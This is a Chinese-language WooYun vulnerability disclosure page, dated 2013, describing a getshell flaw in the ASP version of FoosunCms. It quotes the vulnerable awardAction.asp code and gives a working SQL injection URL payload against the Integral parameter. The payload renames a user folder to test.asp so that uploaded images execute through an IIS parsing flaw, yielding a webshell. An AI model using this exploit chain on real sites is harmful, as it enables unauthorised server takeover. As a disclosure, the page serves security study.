当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-038315

漏洞标题：FoosunCms getshell

相关厂商：FoosunCms

漏洞作者： Code_Sec

提交时间：2013-09-27 08:38

修复时间：2013-12-26 08:38

公开时间：2013-12-26 08:38

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-27： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-12-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

FoosunCms的asp版本getshell

详细说明：

在文件\User\award\awardAction.asp中：

Integral=NoSqlHack(request.QueryString("Integral"))
if action="join" then
	User_Conn.execute("Insert into FS_ME_User_Prize (prizeid,usernumber,awardID) values("&CintStr(prizeID)&",'"&session("FS_UserNumber")&"',"&CintStr(awardID)&")")
	'获得当前参加人数--------------------------------
	User_Conn.execute("Update FS_ME_Users set Integral=(Integral-"&Integral&") where usernumber='"&session("FS_UserNumber")&"'")


请直接无视NoSqlHack,由于sql注入是发生在update语句中，所以我们可以修改表S_ME_Users的任意记录的任意字段信息

1.jpg


webshell还可以用来代替access
我们文件管理中上传个图片文件：
http://192.168.1.101/UserFiles/27015564I69/2013_09_27_01_10_0390446.jpg
UserNumber就是等于27015564I69
通过以上的sql注入漏洞，直接update为test.asp
http://192.168.1.101/User/award/awardAction.asp?action=join&awardID=1&prizeID=1&Integral=1),UserNumber=0x74006500730074002E00610073007000,sex=(1

2.jpg


退出再重新登录

3.jpg


生成test.asp目录，后续上传的文件都会保存在该文件中
利用iis解析漏洞获取webshell

漏洞证明：

4.jpg

修复方案：

过滤

版权声明：转载请注明来源 Code_Sec@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2013-09-27 09:26 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    又见风讯

  2. 2013-09-27 11:02 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    求帝国

  3. 2013-12-26 13:09 | LeadUrLife ( 普通白帽子 | Rank:103 漏洞数:14 | 好好学习 天天向上)

    good job